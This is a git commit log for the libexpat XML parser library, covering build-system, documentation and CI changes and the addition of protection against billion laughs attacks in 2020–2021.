Sebastian Pipping 731bdee053 Changes: Document new XML_FEATURE_ constants 2021-05-22 19:07:49 +02:00
Sebastian Pipping c57141d597 Changes: Combine notes on billion laughs attack protection 2021-05-22 19:07:49 +02:00
Sebastian Pipping fb952cb1d6 README.md: Mention Windos binaries zip download option 2021-05-22 19:07:49 +02:00
Sebastian Pipping 39e081acc0 README.md: Fix a URL for some markdown interpreters 2021-05-22 19:07:49 +02:00
Sebastian Pipping a7694ee392 README.md: Document where generated CMake files need >=2.4.0 to work 2021-05-22 19:07:49 +02:00
Sebastian Pipping 100bc7072c README.md: Make CMake config mode example more clear 2021-05-22 19:07:49 +02:00
Sebastian Pipping caaf43470d Merge pull request #486 from libexpat/issue-485-fix-autotools-cmake-files
Fix CMake files installed by GNU Autotools build system (fixes #485)
2021-05-21 14:01:54 +02:00
Sebastian Pipping 192af39be0 Changes: Document Autotools CMake file fixes 2021-05-21 13:15:34 +02:00
Sebastian Pipping 0b8dacdcce autotools-cmake.yml: Cover macOS and MinGW 2021-05-21 13:15:34 +02:00
Sebastian Pipping 43142f0bab cmake/autotools: Fix generated expat-noconfig.cmake for macOS and MinGW 2021-05-21 00:14:36 +02:00
Sebastian Pipping 09ec4ff9c1 cmake/autotools: Use AC_CHECK_SIZEOF to fix 32bit support 2021-05-21 00:14:36 +02:00
Sebastian Pipping 0ee4a6a94e Merge pull request #483 from libexpat/improve-attribution
Improve attribution
2021-05-14 23:14:23 +02:00
Sebastian Pipping 4107aca9cb expat.iss: Use URLs with SSL 2021-05-14 22:14:54 +02:00
Sebastian Pipping 2c9230f611 Increase precision in existing MIT headers based on Git history 2021-05-14 22:14:54 +02:00
Sebastian Pipping 1b782d2fef doc/xmlwf.xml: Drop two XML comments of little value 2021-05-14 22:10:39 +02:00
Sebastian Pipping 99aec2fc77 doc/xmlwf.xml: Add GNU FDL 1.1 copyright header 2021-05-14 22:10:39 +02:00
Sebastian Pipping b19cc837ef expat.iss: Add MIT header 2021-05-14 22:10:39 +02:00
Sebastian Pipping ad937138e9 CMake: Streamline existing copyright header 2021-05-14 22:10:39 +02:00
Sebastian Pipping 41b732a163 Merge pull request #484 from libexpat/fix-accounting-issues
Fix accounting issues
2021-05-14 21:55:49 +02:00
Sebastian Pipping 77cfb8f4cd tests: Cover accounting of CDATA sections inside of general entities 2021-05-14 20:46:09 +02:00
Sebastian Pipping 60959f2b49 lib: Fix accounting of CDATA sections inside of general entities 2021-05-14 20:46:09 +02:00
Sebastian Pipping 31bce2cc81 Merge pull request #481 from libexpat/issue-471-cmake-support-build-shared-libs
CMake: Support variable BUILD_SHARED_LIBS (fixes #471)
2021-05-13 18:33:26 +02:00
Sebastian Pipping 9fd364942b Merge pull request #482 from libexpat/actions-drop-repository-ondrej-php
Actions: Drop/revert explicit addition of repository ppa:ondrej/php
2021-05-13 17:49:44 +02:00
Sebastian Pipping 4597195fa3 README.md: Add total download count badges 2021-05-13 17:20:07 +02:00
Sebastian Pipping b3a988a3ce Revert ".github/workflows: Re-add repo ppa:ondrej/php(!) to fix wine32 installation"
This reverts commit fe29a25ec0.

Related:
https://github.com/actions/virtual-environments/issues/3339
2021-05-13 16:55:31 +02:00
Sebastian Pipping 7e08029271 Changes: Document support for CMake variable BUILD_SHARED_LIBS 2021-05-12 15:05:25 +02:00
Sebastian Pipping 9cc3ca3e36 CMake: Support standard variable BUILD_SHARED_LIBS
https://cmake.org/cmake/help/latest/variable/BUILD_SHARED_LIBS.html
2021-05-12 13:59:35 +02:00
Sebastian Pipping 309cd4aa4b Merge pull request #466 from libexpat/protect-against-billion-laughs-attacks
[CVE-2013-0340, CWE-776] Protect against billion laughs attacks (fixes #34)
2021-05-11 14:53:22 +02:00
Sebastian Pipping fb78bfdae5 Merge pull request #478 from libexpat/doc-reference-html-okcss-1-0-3
doc/reference.html: Upgrade to OK.css 1.0.3
2021-05-08 23:47:46 +02:00
Sebastian Pipping 99bf4c370f doc/reference.html: Upgrade to OK.css 1.0.3 2021-05-08 22:14:06 +02:00
Sebastian Pipping 3f2f878662 Changes: Document protection against billion laughs attacks 2021-05-07 18:25:08 +02:00
Sebastian Pipping 5dbc857f47 tests: Cover helper unsignedCharToPrintable 2021-05-07 18:25:08 +02:00
Sebastian Pipping e9d8f11558 tests: Cover billion laughs attack protection API 2021-05-07 18:25:07 +02:00
Sebastian Pipping 899c00e613 doc/reference.html: Document billion laughs attack protection API 2021-05-07 18:25:07 +02:00
Sebastian Pipping bf87849598 xmlwf.1: Document arguments -a and -b 2021-05-07 18:25:07 +02:00
Sebastian Pipping c6223b3b0f xmlwf: Add support for custom attack protection parameters 2021-05-07 18:25:07 +02:00
Sebastian Pipping 65cddaa4e9 xmlwf: Include expat_config.h so we can check for macro XML_DTD 2021-05-07 18:25:07 +02:00
Sebastian Pipping 271efb6069 tests: Cover accounting 2021-05-07 18:25:07 +02:00
Sebastian Pipping 29c3748788 lib: Make EXPAT_ENTROPY_DEBUG consistent with other EXPAT_*_DEBUG variables 2021-05-07 18:25:07 +02:00
Sebastian Pipping 857fdc4c3b lib: Add prefix "expat: " to EXPAT_ENTROPY_DEBUG=1 stderr output 2021-05-07 18:25:07 +02:00
Sebastian Pipping 8af7d22ff0 lib: Allow test suite to access raw accounting values 2021-05-07 18:25:07 +02:00
Sebastian Pipping fcd0e14c3e lib: Address Cppcheck 2.4.1 warning "uninitvar" 2021-05-07 18:25:07 +02:00
Sebastian Pipping b1d039607d lib: Protect against billion laughs attacks (approach 3.0.21) 2021-05-07 18:25:07 +02:00
Sebastian Pipping 1e053c698b Autotools|CMake: Suppress -Wpedantic-ms-format false positives
Addresses warning:
ISO C does not support the ‘I64’ ms_printf length modifier.

It seems correct and relevant with __USE_MINGW_ANSI_STDIO, only.
And -Werror doesn't tolerate false positives...
2021-05-07 18:25:07 +02:00
Sebastian Pipping 3120b86447 mass-cppcheck.sh: Suppress warning "unknownMacro" 2021-05-07 18:25:07 +02:00
Sebastian Pipping 9d425466b8 Merge pull request #477 from libexpat/doc-ensure-valid-xml
Make CI ensure well-formed and valid XML in our XML-based documentation
2021-05-07 18:24:26 +02:00
Sebastian Pipping e43dab0c44 Actions: Ensure well-formed and valid XML 2021-05-07 17:04:06 +02:00
Sebastian Pipping 55dbc44200 doc/reference.html: Fix XML validity 2021-05-07 17:04:06 +02:00
Sebastian Pipping 283f024a4e xmlwf.1: Fix DocBook validity 2021-05-07 17:04:06 +02:00
Sebastian Pipping edf095116c xmlwf.1: Add public external DocBook identifier to doctype
.. so that we can throw validation tools at it.
2021-05-07 17:04:06 +02:00
Sebastian Pipping 8d28fe29be Merge pull request #476 from libexpat/fix-github-actions
Fix GitHub Actions
2021-05-07 15:56:32 +02:00
Sebastian Pipping fe29a25ec0 .github/workflows: Re-add repo ppa:ondrej/php(!) to fix wine32 installation
Related:
https://github.com/actions/virtual-environments/issues/3339
2021-05-07 15:12:06 +02:00
Sebastian Pipping 1a01ba37f0 .github/workflows/coverage.yml: Fix broken task name 2021-05-07 15:10:37 +02:00
Sebastian Pipping 7938b88c9b Merge pull request #475 from libexpat/restyle-doc-reference-html
Quickly restyle doc/reference.html to look a bit less like the 90s (based on a classless CSS kit)
2021-05-05 01:24:11 +02:00
Sebastian Pipping 6f47cee760 doc/reference.html: Introduce <h4> headings for API functions 2021-05-04 23:49:05 +02:00
Sebastian Pipping 30c4aa85f5 doc/reference.html: Replace footer, encourage bug reports 2021-05-04 23:49:03 +02:00
Sebastian Pipping e13d94b426 doc/reference.html: Simplify header 2021-05-04 23:49:03 +02:00
Sebastian Pipping 3596977d9d doc/reference.html: Migrate to OK.css
Precisely this version:
https://github.com/andrewh0/okcss/blob/ab0e43d64bf76b1734e1f8ab9d46b7c4378ebb8c/dist/ok.min.css
2021-05-04 23:49:00 +02:00
Sebastian Pipping 888566e418 doc/reference.html: Fix latest release version 2021-05-04 21:14:53 +02:00
Sebastian Pipping f5dd8a9a5a doc/reference.html: Add missing space after "Note:" 2021-05-04 21:14:53 +02:00
Sebastian Pipping 988bff10cd doc/reference.html: Always start uppercase after "Note: " 2021-05-04 21:14:53 +02:00
Sebastian Pipping 7f7da50d9c Merge pull request #473 from libexpat/improve-attribution
Improve attribution
2021-05-02 23:52:01 +02:00
Sebastian Pipping 7820e4137f Merge pull request #474 from libexpat/actions-isolate-coverage
GitHub Actions: Isolate (somewhat flaky) coverage task
2021-05-02 22:40:39 +02:00
Sebastian Pipping 4a7b1d5dcf Actions: Isolate somewhat flaky coverage task 2021-05-02 20:49:51 +02:00
Sebastian Pipping df42f935bf Increase precision in existing MIT headers based on Git history 2021-05-02 19:53:29 +02:00
Sebastian Pipping 8c6f0369db Add missing MIT headers 2021-05-02 19:53:29 +02:00
Sebastian Pipping bb3cf96dbe Pump up oneline MIT headers to full ones 2021-05-02 19:53:29 +02:00
Sebastian Pipping 1f0b77316b .mailmap: Initialize Git mailmap 2021-05-02 19:53:29 +02:00
Sebastian Pipping 6050ed062e Merge pull request #472 from libexpat/delete-unused-helper-printpath
conftools: Delete unused legacy helper PrintPath
2021-05-02 01:52:47 +02:00
Sebastian Pipping ec3186f7ac conftools: Delete unused legacy helper PrintPath 2021-05-02 00:50:54 +02:00
Sebastian Pipping c93729b961 mass-cppcheck.sh: Extract variable cppcheck_args 2021-04-30 21:09:05 +02:00
Sebastian Pipping 8755b82355 apply-clang-format.sh: Support formatting only selected files 2021-04-30 21:09:05 +02:00
Sebastian Pipping ab8830f72c apply-clang-format.sh: Extract variable clang_format_args 2021-04-30 21:09:05 +02:00
Sebastian Pipping af6bb52c7d Merge pull request #470 from libexpat/issue-332-drop-clang-asan-plus-min-size-workaround
[XML_MIN_SIZE only] Fix segfault with UTF-16 CDATA (fixes #332)
2021-04-30 05:25:17 +02:00
Sebastian Pipping ed36812db2 lib: Fix macro IS_INVALID_CHAR (for UTF-16 with macro XML_MIN_SIZE defined)
What happens is that with macro XML_MIN_SIZE defined,
for UTF-16 macro IS_INVALID_CHAR was being set to ..

> #define IS_INVALID_CHAR(enc, p, n)  (AS_NORMAL_ENCODING(enc)->isInvalid##n(enc, p))

.. which calls NULL pointers in .isInvalid{2,3,4} at runtime.

For UTF-16 we actually need what xmltok_impl.c does for macro
IS_INVALID_CHAR when it has not yet been defined:

> #  ifndef IS_INVALID_CHAR
> #    define IS_INVALID_CHAR(enc, ptr, n) (0)
> #  endif

So the fix is a combination of these two:
- Use .isInvalid{2,3,4} where needed and available and
- return 0/false for UTF-16 where .isInvalid{2,3,4} are NULL.
2021-04-26 14:18:00 +02:00
Sebastian Pipping 3b1b81f028 lib: Add comments about effect of XML_MIN_SIZE to xmltok_impl.c 2021-04-26 14:18:00 +02:00
Sebastian Pipping 841338da7f Revert "runtests.c: Fix compiler warning "unused function" with -DEXPAT_MIN_SIZE=ON"
This reverts commit 76f2beee81.
2021-04-25 22:51:23 +02:00
Sebastian Pipping 72cdab2aeb Revert "runtests.c: Workaround issue with combining XML_MIN_SIZE and ASan (#332)"
This reverts commit 48d4929bff.
2021-04-25 22:51:23 +02:00
Sebastian Pipping 444af3db23 Merge pull request #469 from libexpat/xmlwf-improve-manpage
xmlwf: Improve manpage
2021-04-25 20:30:09 +02:00
Sebastian Pipping 1a5ae0e4c0 Changes: Document improvements to the man page 2021-04-25 19:13:00 +02:00
Sebastian Pipping 1f75b7fbac xmlwf.1: Bump date of last modification 2021-04-25 19:11:14 +02:00
Sebastian Pipping dd77046dc3 xmlwf.1: Be more precise in section "author" 2021-04-25 19:11:14 +02:00
Sebastian Pipping de34e8ce15 xmlwf.1: Use <command>&dhpackage;</command> where missing 2021-04-25 19:11:14 +02:00
Sebastian Pipping a1c3ac908c xmlwf.1: Improve links in section "see also" 2021-04-25 19:11:14 +02:00
Sebastian Pipping 506600c59f xmlwf.1: Drop section "alternatives" that contains only dead links 2021-04-25 19:11:14 +02:00
Sebastian Pipping 0d21b17b2c xmlwf.1: Move argument -k in place with regard to alphabetic order 2021-04-25 19:10:51 +02:00
Sebastian Pipping 83f12b5627 xmlwf.1: Pull colon out of <emphasis> 2021-04-25 19:10:51 +02:00
Sebastian Pipping 1613b6ed1f xmlwf.1: Add <replaceable> where missing 2021-04-25 19:10:51 +02:00
Sebastian Pipping 724cd4eeab Merge pull request #468 from libexpat/xmlwf-simplify-synopsis
xmlwf: Simplify synopsis
2021-04-25 19:01:46 +02:00
Sebastian Pipping c028d9b280 xmlwf: Simplify synopsis 2021-04-25 17:49:21 +02:00
Sebastian Pipping b61279a1bc Merge pull request #467 from libexpat/resolve-macro-have-expat-config-h
Resolve macro HAVE_EXPAT_CONFIG_H
2021-04-22 00:58:16 +02:00
Sebastian Pipping 8d1bd6ff2c Resolve macro HAVE_EXPAT_CONFIG_H 2021-04-22 00:11:28 +02:00
Sebastian Pipping 10d3429621 Merge pull request #463 from libexpat/small-xmlwf-refactoring
Small xmlwf refactoring
2021-04-20 13:34:54 +02:00
Sebastian Pipping 49f95cf15e Merge pull request #465 from TomasKorbar/reference-fix
Fix doc/reference.html badly inserted ul tag (fixes #464)
2021-04-20 12:34:54 +02:00
Tomas Korbar 8f53530dea Fix reference.html badly insterted ul tag
This fix makes no visible difference but stops static code analysers
from yielding warnings about not allowed ul inside paragraph.
2021-04-20 10:40:13 +02:00
Sebastian Pipping 810e240fde xmlwf: Extract exit code constants 2021-04-19 19:32:29 +02:00
Sebastian Pipping 385aeb477b xmlwf: Extract macro XMLWF_SHIFT_ARGUMENT 2021-04-19 19:30:12 +02:00
Sebastian Pipping 2cfa1dd63f Actions: Split off Cppcheck to stop installing 13 unrelated Homebrew formulas 2021-04-06 23:52:35 +02:00
Sebastian Pipping ae6c9b40af README.md: Extract two bullet points from a long sentence 2021-04-06 23:49:40 +02:00
Sebastian Pipping dff64502da README.md: Emphasize lowercase and uppercase in CMake content 2021-04-06 23:48:12 +02:00
Sebastian Pipping f9b68a6c0c Make GitHub Dependabot keep our GitHub Actions up to date 2021-04-06 23:46:11 +02:00
Sebastian Pipping c23a17cad1 Merge pull request #459 from libexpat/issue-458-cmake-support-absolute-libdir-pkgconfig
CMake: Support absolute paths for CMAKE_INSTALL_(LIB|INCLUDE)DIR (fixes #458)
2021-04-06 22:55:21 +02:00
Sebastian Pipping 0041db3ce2 Actions: Move ci_expat_config_h/ files into .github/workflows/ 2021-04-06 19:58:53 +02:00
Sebastian Pipping 989dd1b2ca CMake: Support absolute paths for CMAKE_INSTALL_(LIB|INCLUDE)DIR (fixes #458) 2021-04-06 19:49:28 +02:00
Sebastian Pipping a44c3dee40 Merge pull request #457 from libexpat/issue-457-fix-and-cover-list-of-exported-symbols
Fix and cover list of exported symbols
2021-04-05 22:39:26 +02:00
Sebastian Pipping f29b48cfca Unexpose function _INTERNAL_trim_to_complete_utf8_characters (#457) 2021-04-05 21:44:15 +02:00
Sebastian Pipping b4f1429679 CMake: Give test suite access to internal symbols 2021-04-05 21:43:57 +02:00
Sebastian Pipping f01a61402c Autotools: Give test suite access to internal symbols 2021-04-05 20:05:50 +02:00
Sebastian Pipping ad0aec0651 autotools-cmake.yml: Add check for list of exported symbols 2021-04-05 20:05:50 +02:00
Sebastian Pipping 7b06704601 autotools-cmake.yml: Split up for upcoming extension 2021-04-05 20:05:50 +02:00
Sebastian Pipping b99f9f5104 Merge pull request #456 from libexpat/actions-enable-periodic-builds
GitHub Actions: Enable periodic CI runs
2021-04-05 20:03:14 +02:00
Sebastian Pipping 20ea6956b5 Actions: Enable periodic builds 2021-04-05 18:52:16 +02:00
Sebastian Pipping 2f051a681b cppcheck: Suprocess warnings of type "objectIndex"
Report from Cppcheck 2.4.1 was:

lib/xmlparse.c:729:26: warning: The address of local variable 'entropy' might be accessed at non-zero index. [objectIndex]
      ((uint8_t *)target)[bytesWrittenTotal] = random8;
                         ^
lib/xmlparse.c:820:39: note: Address of variable taken here.
  writeRandomBytes_arc4random((void *)&entropy, sizeof(entropy));
                                      ^
lib/xmlparse.c:820:31: note: Calling function 'writeRandomBytes_arc4random', 1st argument '(void*)&entropy' value is lifetime=entropy
  writeRandomBytes_arc4random((void *)&entropy, sizeof(entropy));
                              ^
lib/xmlparse.c:729:26: note: The address of local variable 'entropy' might be accessed at non-zero index.
      ((uint8_t *)target)[bytesWrittenTotal] = random8;
                         ^
lib/xmltok.c:318:54: error: The address of local variable 'fromLim' is accessed at non-zero index. [objectIndex]
    const unsigned char prev = (unsigned char)fromLim[-1];
                                                     ^
lib/xmltok.c:369:56: note: Address of variable taken here.
    _INTERNAL_trim_to_complete_utf8_characters(*fromP, &fromLim);
                                                       ^
lib/xmltok.c:369:56: note: Calling function '_INTERNAL_trim_to_complete_utf8_characters', 2nd argument '&fromLim' value is lifetime=fromLim
    _INTERNAL_trim_to_complete_utf8_characters(*fromP, &fromLim);
                                                       ^
lib/xmltok.c:318:54: note: The address of local variable 'fromLim' is accessed at non-zero index.
    const unsigned char prev = (unsigned char)fromLim[-1];
                                                     ^
2021-04-05 18:52:16 +02:00
Sebastian Pipping bfe4b25b80 cmake/autotools/expat.cmake: Get back in sync with CI 2021-04-05 18:11:22 +02:00
Sebastian Pipping a46b210be8 Merge pull request #455 from libexpat/issue-454-losen-rejection-of-unsupported-msvc-compilers
CMake: Be less rejective towards unsupported MSVC compilers for Conan (#454)
2021-03-29 14:22:05 +02:00
Sebastian Pipping 9fafff73cd CMake: Be less rejective towards unsupported MSVC compilers for Conan (#454) 2021-03-26 18:05:10 +01:00
Sebastian Pipping a29faca366 Merge pull request #453 from nschonni/patch-1
typo: Buildung -> Building
2021-03-25 19:11:19 +01:00
Sebastian Pipping f592a964bd xmlwf.xml: Sync date of latest change 2021-03-25 18:37:33 +01:00
Nick Schonning 8fdc4c6c5f typo: Buildung -> Building 2021-03-25 13:18:08 -04:00
Sebastian Pipping 2d58706dad Merge branch 'issue-445-prepare-release' (#445) 2021-03-25 01:29:53 +01:00
Sebastian Pipping cc414b64bd .gitignore: Add generated files at cmake/autotools/ 2021-03-25 01:28:34 +01:00
Sebastian Pipping 7d375b1bd9 Changes: Set release date for version 2.3.0 2021-03-24 21:05:04 +01:00
Sebastian Pipping 800c4d14e2 lib: Fix references to version 2.2.11 to be about 2.3.0, instead 2021-03-24 21:05:04 +01:00
Sebastian Pipping 3417b3e098 Bump version from 2.2.10 to 2.3.0 2021-03-24 21:05:04 +01:00
Sebastian Pipping d0faa1ec14 README.md: Replace a "will" by a "may" to be more precise 2021-03-24 21:05:04 +01:00
Sebastian Pipping 4bd4bac268 README.md: Fix a SourceForge link leftover regarding Windows binaries (#1) 2021-03-24 21:05:04 +01:00
Sebastian Pipping 1ec7950e46 README.md: Replace Travis CI badge with GitHub Actions badge 2021-03-24 21:05:04 +01:00
Sebastian Pipping f546f0658b README.md: Document use of libexpat from a CMake-based project 2021-03-24 21:05:04 +01:00
Sebastian Pipping 8f70f8c87f README.md: Add more structure 2021-03-24 20:10:02 +01:00
Sebastian Pipping c992ac0fd7 README.md: Fix list syntax for some markdown interpreters 2021-03-24 20:09:54 +01:00
Sebastian Pipping 7991830172 Changes: Document #425, #426, #434, #435, #436, #437, #441, #443, #446 (#445) 2021-03-23 00:54:35 +01:00
Sebastian Pipping 1361370223 Changes: Improve documentation of #444 2021-03-23 00:54:35 +01:00
Sebastian Pipping f840ff1a2a Merge pull request #452 from libexpat/issue-452-fix-autotools-macro-regression
configure.ac: Fix use of M4 macro "expat_version"
2021-03-23 00:49:17 +01:00
Sebastian Pipping 30ec88b351 configure.ac: Fix use of M4 macro "expat_version"
Regression introduced in fd9a7d649e
as part of pull request #450
2021-03-23 00:01:03 +01:00
Sebastian Pipping 39f304d99f Actions: Make CI fail on non-triple version from configure.ac 2021-03-23 00:01:03 +01:00
Sebastian Pipping 8574d61f78 Merge pull request #451 from libexpat/make-autotools-install-cmake-files
Make GNU Autotools install CMake files
2021-03-22 23:43:14 +01:00
Sebastian Pipping e9026b19c4 Actions: Ensure that GNU Autotools install identical CMake files 2021-03-22 22:40:54 +01:00
Sebastian Pipping b50ff5adaa Autotools: Install CMake files 2021-03-22 22:30:00 +01:00
Sebastian Pipping 16315c6b5b Merge pull request #450 from libexpat/autotools-autoupdate
configure.ac: Apply partial autoupdate-2.71
2021-03-22 19:36:18 +01:00
Sebastian Pipping fd9a7d649e configure.ac: Apply partial autoupdate-2.71
Addressed:
warning: The macro `AC_CONFIG_HEADER' is obsolete.

Not addressed yet:
warning: AC_PROG_CC_C99 is obsolete; use AC_PROG_CC
2021-03-22 18:28:11 +01:00
Sebastian Pipping 13e8bc246b Merge pull request #444 from libexpat/issue-444-resolve-exit-status-2-ambiguity
xmlwf: Resolve exit status 2 ambiguity
2021-03-20 21:32:59 +01:00
Sebastian Pipping 05f54b6c5e xmlwf.xml: Fix numerus for recent advent of -k 2021-03-20 18:20:09 +01:00
Sebastian Pipping a6f3f2a3a2 xmlwf: Split off exit status 4 for invalid argument invokation 2021-03-20 18:20:09 +01:00
Sebastian Pipping 689cb6527f Changes: Fix inconsistent indentation 2021-03-20 18:20:09 +01:00
Sebastian Pipping c48bb1eb35 Merge pull request #447 from libexpat/drop-support-for-ancient-visual-studio
Windows: Drop support for Visual Studio <=14.0/2015
2021-03-20 17:10:10 +01:00
Sebastian Pipping 3bc4eac843 Merge pull request #446 from libexpat/quickport-remaining-travis-ci-to-github-actions
Quick-port Linux jobs from Travis CI to GitHub Actions
2021-03-20 15:47:05 +01:00
Sebastian Pipping dd26478455 Windows: Drop support for Visual Studio <=14.0/2015 2021-03-20 15:38:49 +01:00
Sebastian Pipping c01e51126d Quick-port Linux jobs from Travis CI to GitHub Actions 2021-03-20 14:06:49 +01:00
Sebastian Pipping 10e75ca59a Merge branch 'timbray-master' (#439) 2021-03-17 21:46:32 +01:00
Sebastian Pipping 4a6524e89e Changes: Document #439 2021-03-17 21:46:05 +01:00
Tim Bray 56c18c63ed Add argument -k to allow continuing after non-fatal errors 2021-03-16 20:40:26 -07:00
Sebastian Pipping 87176c5ce3 expat.h: Fix conmment typo regarding XML_ERROR_UNKNOWN_ENCODING 2021-03-17 02:12:18 +01:00
Sebastian Pipping 90c36ffffe Merge pull request #443 from libexpat/bump-version-info
Bump shared library version info for next release
2021-03-17 00:49:36 +01:00
Sebastian Pipping 1955a4092e Bump version infro from 7:12:6 to 8:0:7 2021-03-16 18:34:06 +01:00
Sebastian Pipping 734698ba6a Changes: Fix inconsistent double blank line 2021-03-16 18:27:32 +01:00
Sebastian Pipping 7bb47a1be0 Merge branch 'arichardson-fix-cross-compilation' (#442) 2021-03-16 18:16:28 +01:00
Sebastian Pipping 29b9c6010c Changes: Document #442 2021-03-16 18:15:24 +01:00
Alex Richardson 13d4c51a17 CMake: Only set CMAKE_CXX_FLAGS after enable_language(CXX)
Otherwise flags specified in a CMake cross-compilation toolchain (such as
CMAKE_CXX_FLAGS_INIT) will not be added. This could also affect native
builds but is much more likely to be noticed when cross-compiling due to
missing essential flags.
2021-03-16 15:57:05 +00:00
Sebastian Pipping bfc2f6dcb9 Merge pull request #441 from libexpat/address-unused-parameter-warnings
fuzzers: Address Clang warning -Wunused-parameter
2021-03-11 02:55:54 +01:00
Sebastian Pipping 0e567d2ed1 fuzzers: Address Clang warning -Wunused-parameter 2021-03-10 16:21:00 +01:00
Sebastian Pipping 86e0984f2b Merge pull request #438 from libexpat/travis-update-clang
xmlparse.c: Reject missing call to XML_GetBuffer in XML_ParseBuffer
2021-02-26 16:00:19 +01:00
Sebastian Pipping 64410342fd .travis.yml: Install llvm-11 for llvm-symbolizer 2021-02-24 03:34:43 +01:00
Sebastian Pipping 44d889e78c .travis.yml: Upgrade to Ubuntu Bionic 18.04.x LTS and Clang 11 2021-02-24 03:34:43 +01:00
Sebastian Pipping af86899bf9 apply-clang-format.sh: Report on clang-format version 2021-02-24 03:34:43 +01:00
Sebastian Pipping 811c41e3be xmlparse.c: Reject missing call to XML_GetBuffer in XML_ParseBuffer
.. rather than running into undefined behavior.
2021-02-24 02:26:06 +01:00
Sebastian Pipping aafd462fbd Merge pull request #437 from libexpat/issue-436-protect-expat-config-h
Protect installed expat_config.h from regression + drop obsolescent macro AC_HEADER_STDC (#436)
2020-12-29 19:55:59 +01:00
Sebastian Pipping 88be19e487 configure.ac: Drop obsolescent macro AC_HEADER_STDC (#436) 2020-12-29 03:01:09 +01:00
Sebastian Pipping b1ff22ecea Actions: Cover list of symbols exported by installed expat_config.h 2020-12-29 03:01:09 +01:00
Sebastian Pipping f27a97ae63 Merge pull request #435 from libexpat/move-macos-travis-to-github-actions
Move macOS Travis to GitHub Actions
2020-12-28 12:19:45 +01:00
Sebastian Pipping 7b9c444dcf Use GitHub Actions to run current macOS Travis CI tasks 2020-12-28 00:36:03 +01:00
Sebastian Pipping ad28b54fc2 Merge pull request #434 from tbeu/detect-vs
Detect unsupported VS at configure time (and not at compile time)
2020-12-27 20:49:36 +01:00
tbeu a86a16e2c5 Detect unsupported VS at configure time (and not at compile time) 2020-12-27 19:22:15 +01:00
Sebastian Pipping 59d54dab82 Merge pull request #432 from timgates42/bugfix_typo_without
docs: fix simple typo, wtihout -> without
2020-12-17 15:53:30 +01:00
Tim Gates 81e07895c2 docs: fix simple typo, wtihout -> without
There is a small typo in expat/tests/runtests.c.

Should read `without` rather than `wtihout`.
2020-12-17 21:14:40 +11:00
Sebastian Pipping 0f6d2dbd73 Merge branch 'make-testrunner-output-more-helpful' (#382, #428) 2020-10-30 10:12:51 +01:00
Sebastian Pipping 46698550ea Changes: Document #382 and #428 2020-10-30 10:10:53 +01:00
Sebastian Pipping 1e243aca3e tests: Show failure location for normal mode output as well 2020-10-25 21:14:18 +01:00
Sebastian Pipping ef8d5bff85 Travis: Add CTEST_OUTPUT_ON_FAILURE=1 where missing 2020-10-25 21:14:18 +01:00
Sebastian Pipping 263c76e324 tests: Make argument -v more useful 2020-10-25 21:14:18 +01:00
Sebastian Pipping 6a7264e383 tests: Report actual failure location 2020-10-25 21:14:09 +01:00
Sebastian Pipping bd4b55a680 tests: Make check for silence explain itself better 2020-10-25 18:40:38 +01:00
Sebastian Pipping 0d9b081278 Merge pull request #426 from libexpat/issue-422-drop-support-for-old-visual-studio
Drop support for old versions of Visual Studio (fixes #422)
2020-10-03 23:40:38 +02:00
Sebastian Pipping ea60ef34a7 Drop remaining support for Visual Studio 2008, 2010, 2012 (#422) 2020-10-03 21:30:13 +02:00
Sebastian Pipping 60425e0fff Revert "AppVeyor: Be explicit about build script to support msbuild 3.5"
This reverts commit 24d6dd8c2d.
2020-10-03 21:13:40 +02:00
Sebastian Pipping 2e63c25864 Revert "AppVeyor: Cover 32bit Visual Studio 9 2008 using MSBuild 3.5"
This reverts commit d073dd63d3.
2020-10-03 21:13:35 +02:00
Sebastian Pipping 179a0c5526 CMake: Remove unused variable 2020-10-03 21:09:32 +02:00
Sebastian Pipping 162e16b0a7 Merge branch 'issue-415-release-expat-2-2-10' (#415) 2020-10-03 17:14:57 +02:00
Sebastian Pipping c686d358b3 Set release date for 2.2.10 2020-10-03 00:49:39 +02:00
Sebastian Pipping 3265243064 Bump version info from 7:11:6 to 7:12:6 2020-10-03 00:49:39 +02:00
Sebastian Pipping 3af8f46e3f Bump version from 2.2.9 to 2.2.10 2020-10-03 00:49:33 +02:00
Sebastian Pipping d0ad8e21ca Changes: Document #405 #356 #359 #394 #366 #412 #368 #369 2020-10-03 00:43:37 +02:00
Sebastian Pipping 5644f0fa8e CMake: Turn endif(..) into endif(), and else(..) into else()
Related documentation:
https://gitlab.kitware.com/cmake/community/-/wikis/FAQ#isnt-the-expression-in-the-elseexpression-confusing
2020-10-03 00:43:37 +02:00
Sebastian Pipping cdeadf8522 tests: Add missing static to address compiler warning
Warning was:
runtests.c:112:1: warning: no previous prototype for ‘tcase_add_test__ifdef_xml_dtd’ [-Wmissing-prototypes]
2020-10-03 00:43:37 +02:00
Sebastian Pipping 10155503c6 Merge branch 'cmake-support-simple-package-creation-based-on-cpack' (#424) 2020-10-01 21:30:44 +02:00
Sebastian Pipping 11796c2166 Changes: Document #424 2020-10-01 21:28:37 +02:00
Sebastian Pipping 559f90fed7 CMake: Support "make package" based on CPack
On Linux, this will create a file "expat-2.2.9-Linux.tar.gz"
with the following content:

$ tar tf expat-2.2.9-Linux.tar.gz | sort | grep -v '/$'
expat-2.2.9-Linux/bin/xmlwf
expat-2.2.9-Linux/include/expat_config.h
expat-2.2.9-Linux/include/expat_external.h
expat-2.2.9-Linux/include/expat.h
expat-2.2.9-Linux/lib64/cmake/expat-2.2.9/expat.cmake
expat-2.2.9-Linux/lib64/cmake/expat-2.2.9/expat-config.cmake
expat-2.2.9-Linux/lib64/cmake/expat-2.2.9/expat-config-version.cmake
expat-2.2.9-Linux/lib64/cmake/expat-2.2.9/expat-noconfig.cmake
expat-2.2.9-Linux/lib64/libexpat.so
expat-2.2.9-Linux/lib64/libexpat.so.1
expat-2.2.9-Linux/lib64/libexpat.so.1.6.11
expat-2.2.9-Linux/lib64/pkgconfig/expat.pc
expat-2.2.9-Linux/share/doc/expat/AUTHORS
expat-2.2.9-Linux/share/doc/expat/changelog
expat-2.2.9-Linux/share/man/man1/xmlwf.1
2020-10-01 21:23:00 +02:00
Sebastian Pipping 2e63ab0782 Merge branch 'gittiver-master' (#419) 2020-09-26 14:54:39 +02:00
Sebastian Pipping 373e974b11 Changes: Document #419 2020-09-26 14:52:44 +02:00
Sebastian Pipping 006603972e Merge pull request #421 from libexpat/leaksan
qa.sh: Enable LeakSanitizer
2020-09-26 01:36:42 +02:00
Sebastian Pipping 639e28fc2e qa.sh: Enable LeakSanitizer 2020-09-25 20:18:33 +02:00
Sebastian Pipping 9ab26c18fd Merge pull request #420 from libexpat/issue-418-visual-studio-2019
